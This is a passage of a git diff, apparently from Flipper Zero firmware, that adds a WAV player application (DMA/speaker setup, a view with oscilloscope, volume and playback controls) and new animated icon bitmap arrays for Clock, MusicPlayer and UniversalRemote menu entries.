LL_DMA_PDATAALIGN_HALFWORD); + LL_DMA_SetMemorySize(DMA_INSTANCE, LL_DMA_MDATAALIGN_HALFWORD); + + LL_DMA_EnableIT_TC(DMA_INSTANCE); + LL_DMA_EnableIT_HT(DMA_INSTANCE); +} + +void wav_player_dma_start() { + LL_DMA_EnableChannel(DMA_INSTANCE); + LL_TIM_EnableDMAReq_UPDATE(FURI_HAL_SPEAKER_TIMER); +} + +void wav_player_dma_stop() { + LL_DMA_DisableChannel(DMA_INSTANCE); +} \ No newline at end of file diff --git a/applications/wav_player/wav_player_hal.h b/applications/wav_player/wav_player_hal.h new file mode 100644 index 000000000..124f51406 --- /dev/null +++ b/applications/wav_player/wav_player_hal.h @@ -0,0 +1,23 @@ +#pragma once +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +void wav_player_speaker_init(); + +void wav_player_speaker_start(); + +void wav_player_speaker_stop(); + +void wav_player_dma_init(uint32_t address, size_t size); + +void wav_player_dma_start(); + +void wav_player_dma_stop(); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/applications/wav_player/wav_player_view.c b/applications/wav_player/wav_player_view.c new file mode 100644 index 000000000..8068bf351 --- /dev/null +++ b/applications/wav_player/wav_player_view.c @@ -0,0 +1,214 @@ +#include "wav_player_view.h" + +#define DATA_COUNT 116 + +struct WavPlayerView { + View* view; + WavPlayerCtrlCallback callback; + void* context; +}; + +typedef struct { + bool play; + float volume; + size_t start; + size_t end; + size_t current; + uint8_t data[DATA_COUNT]; +} WavPlayerViewModel; + +float map(float x, float in_min, float in_max, float out_min, float out_max) { + return (x - in_min) * (out_max - out_min + 1) / (in_max - in_min + 1) + out_min; +} + +static void wav_player_view_draw_callback(Canvas* canvas, void* _model) { + WavPlayerViewModel* model = _model; + + canvas_clear(canvas); + canvas_set_color(canvas, ColorBlack); + uint8_t x_pos = 0; + uint8_t y_pos = 0; + + // volume + x_pos = 124; + y_pos = 0; + const float volume = (64 / 10.0f) * model->volume; + canvas_draw_frame(canvas, x_pos, y_pos, 4, 64); + canvas_draw_box(canvas, x_pos, y_pos + (64 - volume), 4, volume); + + // play / pause + x_pos = 58; + y_pos = 55; + if(model->play) { + canvas_draw_line(canvas, x_pos, y_pos, x_pos + 8, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 8, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + } else { + canvas_draw_box(canvas, x_pos, y_pos, 3, 9); + canvas_draw_box(canvas, x_pos + 4, y_pos, 3, 9); + } + + x_pos = 78; + y_pos = 55; + canvas_draw_line(canvas, x_pos, y_pos, x_pos + 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + + x_pos = 82; + y_pos = 55; + canvas_draw_line(canvas, x_pos, y_pos, x_pos + 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos + 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + + x_pos = 40; + y_pos = 55; + canvas_draw_line(canvas, x_pos, y_pos, x_pos - 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos - 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + + x_pos = 44; + y_pos = 55; + canvas_draw_line(canvas, x_pos, y_pos, x_pos - 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos - 4, y_pos + 4); + canvas_draw_line(canvas, x_pos, y_pos + 8, x_pos, y_pos); + + // len + x_pos = 4; + y_pos = 47; + const uint8_t play_len = 116; + uint8_t play_pos = map(model->current, model->start, model->end, 0, play_len - 4); + + canvas_draw_frame(canvas, x_pos, y_pos, play_len, 4); + canvas_draw_box(canvas, x_pos + play_pos, y_pos - 2, 4, 8); + canvas_draw_box(canvas, x_pos, y_pos, play_pos, 4); + + // osc + x_pos = 4; + y_pos = 0; + for(size_t i = 1; i < DATA_COUNT; i++) { + canvas_draw_line(canvas, x_pos + i - 1, model->data[i - 1], x_pos + i, model->data[i]); + } +} + +static bool wav_player_view_input_callback(InputEvent* event, void* context) { + WavPlayerView* wav_player_view = context; + bool consumed = false; + + if(wav_player_view->callback) { + if(event->type == InputTypeShort || event->type == InputTypeRepeat) { + if(event->key == InputKeyUp) { + wav_player_view->callback(WavPlayerCtrlVolUp, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyDown) { + wav_player_view->callback(WavPlayerCtrlVolDn, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyLeft) { + wav_player_view->callback(WavPlayerCtrlMoveL, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyRight) { + wav_player_view->callback(WavPlayerCtrlMoveR, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyOk) { + wav_player_view->callback(WavPlayerCtrlOk, wav_player_view->context); + consumed = true; + } else if(event->key == InputKeyBack) { + wav_player_view->callback(WavPlayerCtrlBack, wav_player_view->context); + consumed = true; + } + } + } + + return consumed; +} + +WavPlayerView* wav_player_view_alloc() { + WavPlayerView* wav_view = malloc(sizeof(WavPlayerView)); + wav_view->view = view_alloc(); + view_set_context(wav_view->view, wav_view); + view_allocate_model(wav_view->view, ViewModelTypeLocking, sizeof(WavPlayerViewModel)); + view_set_draw_callback(wav_view->view, wav_player_view_draw_callback); + view_set_input_callback(wav_view->view, wav_player_view_input_callback); + + return wav_view; +} + +void wav_player_view_free(WavPlayerView* wav_view) { + furi_assert(wav_view); + view_free(wav_view->view); + free(wav_view); +} + +View* wav_player_view_get_view(WavPlayerView* wav_view) { + furi_assert(wav_view); + return wav_view->view; +} + +void wav_player_view_set_volume(WavPlayerView* wav_view, float volume) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->volume = volume; + return true; + }); +} + +void wav_player_view_set_start(WavPlayerView* wav_view, size_t start) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->start = start; + return true; + }); +} + +void wav_player_view_set_end(WavPlayerView* wav_view, size_t end) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->end = end; + return true; + }); +} + +void wav_player_view_set_current(WavPlayerView* wav_view, size_t current) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->current = current; + return true; + }); +} + +void wav_player_view_set_play(WavPlayerView* wav_view, bool play) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + model->play = play; + return true; + }); +} + +void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count) { + furi_assert(wav_view); + with_view_model( + wav_view->view, (WavPlayerViewModel * model) { + size_t inc = (data_count / DATA_COUNT) - 1; + + for(size_t i = 0; i < DATA_COUNT; i++) { + model->data[i] = *data / 6; + if(model->data[i] > 42) model->data[i] = 42; + data += inc; + } + return true; + }); +} + +void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback) { + furi_assert(wav_view); + wav_view->callback = callback; +} + +void wav_player_view_set_context(WavPlayerView* wav_view, void* context) { + furi_assert(wav_view); + wav_view->context = context; +} \ No newline at end of file diff --git a/applications/wav_player/wav_player_view.h b/applications/wav_player/wav_player_view.h new file mode 100644 index 000000000..246aeaf3e --- /dev/null +++ b/applications/wav_player/wav_player_view.h @@ -0,0 +1,45 @@ +#pragma once +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct WavPlayerView WavPlayerView; + +typedef enum { + WavPlayerCtrlVolUp, + WavPlayerCtrlVolDn, + WavPlayerCtrlMoveL, + WavPlayerCtrlMoveR, + WavPlayerCtrlOk, + WavPlayerCtrlBack, +} WavPlayerCtrl; + +typedef void (*WavPlayerCtrlCallback)(WavPlayerCtrl ctrl, void* context); + +WavPlayerView* wav_player_view_alloc(); + +void wav_player_view_free(WavPlayerView* wav_view); + +View* wav_player_view_get_view(WavPlayerView* wav_view); + +void wav_player_view_set_volume(WavPlayerView* wav_view, float volume); + +void wav_player_view_set_start(WavPlayerView* wav_view, size_t start); + +void wav_player_view_set_end(WavPlayerView* wav_view, size_t end); + +void wav_player_view_set_current(WavPlayerView* wav_view, size_t current); + +void wav_player_view_set_play(WavPlayerView* wav_view, bool play); + +void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count); + +void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback); + +void wav_player_view_set_context(WavPlayerView* wav_view, void* context); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index 709fab457..566a22fd4 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -328,6 +328,16 @@ const uint8_t _A_Bluetooth_14_4[] = {0x00,0x10,0x00,0x30,0x00,0x51,0x00,0x92,0x0 const uint8_t _A_Bluetooth_14_5[] = {0x00,0x10,0x00,0x30,0x00,0x51,0x00,0x92,0x00,0x94,0x04,0x58,0x08,0x30,0x09,0x30,0x09,0x58,0x08,0x94,0x04,0x92,0x00,0x51,0x00,0x30,0x00,0x10,0x00,}; const uint8_t* const _A_Bluetooth_14[] = {_A_Bluetooth_14_0,_A_Bluetooth_14_1,_A_Bluetooth_14_2,_A_Bluetooth_14_3,_A_Bluetooth_14_4,_A_Bluetooth_14_5}; +const uint8_t _A_Clock_14_0[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x49,0x12,0x41,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_1[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x13,0x81,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_2[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0xC1,0x11,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_3[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x81,0x10,0x09,0x13,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_4[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x41,0x10,0x49,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_5[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x21,0x10,0x19,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_6[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x71,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_7[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x19,0x12,0x21,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t* const _A_Clock_14[] = {_A_Clock_14_0,_A_Clock_14_1,_A_Clock_14_2,_A_Clock_14_3,_A_Clock_14_4,_A_Clock_14_5,_A_Clock_14_6,_A_Clock_14_7}; + const uint8_t _A_Debug_14_0[] = {0x00,0x20,0x01,0xC1,0x20,0x22,0x11,0x24,0x09,0xD9,0x26,0x16,0x1A,0xD8,0x06,0xD8,0x06,0xD6,0x1A,0x19,0x26,0xE4,0x09,0xC2,0x10,0x01,0x20,0x00,0x00,}; const uint8_t _A_Debug_14_1[] = {0x00,0x20,0x01,0xC0,0x00,0x22,0x11,0x25,0x29,0xD8,0x06,0x16,0x1A,0xD9,0x26,0xD8,0x06,0xD4,0x0A,0x12,0x12,0xEA,0x15,0xC5,0x28,0x02,0x10,0x02,0x10,}; const uint8_t _A_Debug_14_2[] = {0x00,0x20,0x01,0xC0,0x00,0x20,0x01,0x24,0x09,0xDA,0x16,0x11,0x22,0xDC,0x0E,0xDA,0x16,0xD9,0x26,0x14,0x0A,0xF2,0x13,0xD1,0x22,0x08,0x04,0x06,0x18,}; @@ -375,6 +385,13 @@ const uint8_t _A_Infrared_14_4[] = {0x01,0x00,0x0e,0x00,0x00,0x5f,0x82,0x02,0x05 const uint8_t _A_Infrared_14_5[] = {0x01,0x00,0x15,0x00,0x00,0x2f,0xc2,0x07,0x08,0x82,0x01,0x47,0xc1,0x01,0x05,0x98,0x14,0x41,0xa3,0xf8,0x83,0x80,0x47,0xff,0x3f,}; const uint8_t* const _A_Infrared_14[] = {_A_Infrared_14_0,_A_Infrared_14_1,_A_Infrared_14_2,_A_Infrared_14_3,_A_Infrared_14_4,_A_Infrared_14_5}; +const uint8_t _A_MusicPlayer_14_0[] = {0x01,0x00,0x17,0x00,0x00,0x1e,0x02,0x01,0xc0,0x80,0xf0,0x20,0x74,0x08,0x15,0x02,0x00,0x01,0x3b,0x84,0x02,0xf0,0x01,0x29,0x80,0x5c,0x80,}; +const uint8_t _A_MusicPlayer_14_1[] = {0x01,0x00,0x16,0x00,0x80,0x41,0x20,0x10,0xe8,0x04,0x7a,0x01,0x12,0x80,0x40,0x80,0x27,0x80,0x81,0xf0,0x00,0x25,0x80,0x80,0x86,0x94,}; +const uint8_t _A_MusicPlayer_14_2[] = {0x01,0x00,0x13,0x00,0x00,0x34,0x82,0x03,0x30,0x81,0xcc,0x20,0x51,0x08,0x00,0x05,0x63,0x90,0x08,0xf0,0x04,0xa1,0x80,}; +const uint8_t _A_MusicPlayer_14_3[] = {0x01,0x00,0x16,0x00,0x82,0x40,0x21,0xd0,0x08,0xf4,0x02,0x25,0x00,0x81,0x00,0x52,0x07,0x20,0x81,0xcc,0x00,0x23,0x01,0x90,0x06,0xd4,}; +const uint8_t _A_MusicPlayer_14_4[] = {0x01,0x00,0x15,0x00,0x00,0x2c,0x82,0x01,0x70,0x80,0x7c,0x20,0x19,0x08,0x04,0x40,0x02,0x91,0xc8,0x04,0x78,0x02,0x50,0xc8,0x00,}; +const uint8_t* const _A_MusicPlayer_14[] = {_A_MusicPlayer_14_0,_A_MusicPlayer_14_1,_A_MusicPlayer_14_2,_A_MusicPlayer_14_3,_A_MusicPlayer_14_4}; + const uint8_t _A_NFC_14_0[] = {0x00,0x00,0x08,0x00,0x10,0x00,0x12,0x00,0x22,0x42,0x24,0x87,0x24,0x8D,0x24,0x99,0x24,0xF1,0x24,0x62,0x24,0x00,0x22,0x00,0x12,0x00,0x10,0x00,0x08,}; const uint8_t _A_NFC_14_1[] = {0x01,0x00,0x1a,0x00,0x80,0x42,0x20,0x11,0x00,0x09,0x48,0x28,0x52,0x0c,0x3c,0x83,0x1b,0x20,0xcc,0xc8,0x3e,0x32,0x0b,0x14,0x80,0x1a,0x21,0x34,0x84,0x00,}; const uint8_t _A_NFC_14_2[] = {0x01,0x00,0x10,0x00,0x00,0x3d,0x0a,0x01,0x87,0x80,0x63,0x60,0x19,0x98,0x07,0xc6,0x01,0x62,0x09,0xc0,}; @@ -441,6 +458,38 @@ const uint8_t _A_U2F_14_2[] = {0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0x08 const uint8_t _A_U2F_14_3[] = {0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t* const _A_U2F_14[] = {_A_U2F_14_0,_A_U2F_14_1,_A_U2F_14_2,_A_U2F_14_3}; +const uint8_t _A_UniversalRemote_14_0[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_UniversalRemote_14_1[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_UniversalRemote_14_2[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_UniversalRemote_14_3[] = {0x01,0x00,0x1a,0x00,0xd0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x10,0x0c,0x60,0x90,0x88,0x64,0x32,0x30,0x09,0x2c,0xc4,0x18,0x26,0x78,0x08,0x08,}; +const uint8_t _A_UniversalRemote_14_4[] = {0x00,0x40,0x01,0xF8,0x07,0xF8,0x07,0x18,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_5[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x18,0x06,0x10,0x02,0x08,0x04,0x08,0x04,0x10,0x02,0x18,0x06,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_6[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x10,0x02,0x18,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x02,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_7[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x04,0x10,0x04,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x18,0x04,0x00,0x04,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_8[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x08,0x04,0x0C,0x0C,0x0A,0x1C,0x0E,0x18,0x08,0x0C,0x48,0x00,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x40,0x00,}; +const uint8_t _A_UniversalRemote_14_9[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x00,0x04,0x0C,0x0C,0x0B,0x34,0x0E,0x1C,0x0C,0x0C,0xE0,0x01,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_10[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x08,0x00,0x0C,0x0C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xF0,0x01,0x98,0x05,0xF8,0x07,0xF8,0x07,0x40,0x00,}; +const uint8_t _A_UniversalRemote_14_11[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x00,0x00,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; +const uint8_t _A_UniversalRemote_14_12[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x00,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; +const uint8_t _A_UniversalRemote_14_13[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_UniversalRemote_14_14[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_UniversalRemote_14_15[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_UniversalRemote_14_16[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_UniversalRemote_14_17[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x04,0x08,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x06,0xF8,0x07,0xD8,0x07,0x60,0x00,}; +const uint8_t _A_UniversalRemote_14_18[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x08,0x04,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE4,0x03,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_19[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x04,0x08,0x0E,0x1C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xE0,0x03,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_20[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x04,0x00,0x0C,0x0C,0x0B,0x34,0x0B,0x34,0x0C,0x0C,0xE0,0x05,0xF8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_21[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x10,0x00,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x0E,0x0C,0x08,0x04,0x88,0x04,0xF0,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_22[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x00,0x18,0x04,0x08,0x04,0x0C,0x0C,0x08,0x04,0x08,0x04,0x00,0x04,0xD8,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_UniversalRemote_14_23[] = {0x01,0x00,0x14,0x00,0xa0,0x40,0x7f,0x10,0x70,0x08,0x81,0xc6,0x21,0x02,0x84,0x41,0x00,0x2a,0x09,0x1e,0xc4,0x18,0x26,0xa0,}; +const uint8_t _A_UniversalRemote_14_24[] = {0x01,0x00,0x17,0x00,0x90,0x40,0xbf,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x14,0x62,0x0c,0x05,0x10,0x3a,0xe6,0x20,0xa1,0x33,0xa0,0x40,0x00,}; +const uint8_t _A_UniversalRemote_14_25[] = {0x01,0x00,0x1a,0x00,0xb0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x88,0x34,0x62,0x04,0x05,0x10,0x39,0x40,0xa2,0x10,0x6c,0xc4,0x14,0x26,0x78,0x08,0x00,}; +const uint8_t _A_UniversalRemote_14_26[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0x98,0x04,0xF8,0x07,0xF8,0x07,0x80,0x02,}; +const uint8_t _A_UniversalRemote_14_27[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_UniversalRemote_14_28[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_UniversalRemote_14_29[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t* const _A_UniversalRemote_14[] = {_A_UniversalRemote_14_0,_A_UniversalRemote_14_1,_A_UniversalRemote_14_2,_A_UniversalRemote_14_3,_A_UniversalRemote_14_4,_A_UniversalRemote_14_5,_A_UniversalRemote_14_6,_A_UniversalRemote_14_7,_A_UniversalRemote_14_8,_A_UniversalRemote_14_9,_A_UniversalRemote_14_10,_A_UniversalRemote_14_11,_A_UniversalRemote_14_12,_A_UniversalRemote_14_13,_A_UniversalRemote_14_14,_A_UniversalRemote_14_15,_A_UniversalRemote_14_16,_A_UniversalRemote_14_17,_A_UniversalRemote_14_18,_A_UniversalRemote_14_19,_A_UniversalRemote_14_20,_A_UniversalRemote_14_21,_A_UniversalRemote_14_22,_A_UniversalRemote_14_23,_A_UniversalRemote_14_24,_A_UniversalRemote_14_25,_A_UniversalRemote_14_26,_A_UniversalRemote_14_27,_A_UniversalRemote_14_28,_A_UniversalRemote_14_29}; + const uint8_t _A_iButton_14_0[] = {0x00,0x00,0x1C,0x00,0x3E,0x00,0x35,0x80,0x3A,0x78,0x15,0x84,0x0A,0x32,0x05,0x49,0x02,0x85,0x02,0x85,0x02,0x49,0x02,0x32,0x01,0x84,0x00,0x78,0x00,}; const uint8_t _A_iButton_14_1[] = {0x00,0x00,0x00,0x00,0x38,0x00,0x26,0x80,0x21,0xE0,0x10,0x38,0x0D,0x6C,0x03,0x56,0x01,0x2B,0x01,0x97,0x00,0x4D,0x00,0x21,0x00,0x1E,0x00,0x00,0x00,}; const uint8_t _A_iButton_14_2[] = {0x01,0x00,0x1a,0x00,0x00,0x24,0xc2,0x01,0x2c,0x80,0x48,0xfb,0x11,0x89,0x64,0x1b,0x2d,0x01,0xa5,0xc0,0x24,0xb0,0x08,0x94,0x02,0x13,0x00,0x83,0x85,0x88,}; @@ -760,11 +809,13 @@ const Icon I_KeySave_24x11 = {.width=24,.height=11,.frame_count=1,.frame_rate=0, const Icon A_125khz_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_125khz_14}; const Icon A_BadUsb_14 = {.width=14,.height=14,.frame_count=11,.frame_rate=3,.frames=_A_BadUsb_14}; const Icon A_Bluetooth_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Bluetooth_14}; +const Icon A_Clock_14 = {.width=14,.height=14,.frame_count=8,.frame_rate=3,.frames=_A_Clock_14}; const Icon A_Debug_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_Debug_14}; const Icon A_FileManager_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_FileManager_14}; const Icon A_GPIO_14 = {.width=14,.height=14,.frame_count=8,.frame_rate=3,.frames=_A_GPIO_14}; const Icon A_Games_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.frames=_A_Games_14}; const Icon A_Infrared_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Infrared_14}; +const Icon A_MusicPlayer_14 = {.width=14,.height=14,.frame_count=5,.frame_rate=3,.frames=_A_MusicPlayer_14}; const Icon A_NFC_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_NFC_14}; const Icon A_Passport_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Passport_14}; const Icon A_Plugins_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.frames=_A_Plugins_14}; @@ -773,6 +824,7 @@ const Icon A_Settings_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,. const Icon A_Sub1ghz_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Sub1ghz_14}; const Icon A_Tamagotchi_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Tamagotchi_14}; const Icon A_U2F_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_U2F_14}; +const Icon A_UniversalRemote_14 = {.width=14,.height=14,.frame_count=30,.frame_rate=3,.frames=_A_UniversalRemote_14}; const Icon A_iButton_14 = {.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_iButton_14}; const Icon I_Detailed_chip_17x13 = {.width=17,.height=13,.frame_count=1,.frame_rate=0,.frames=_I_Detailed_chip_17x13}; const Icon I_Medium_chip_22x21 = 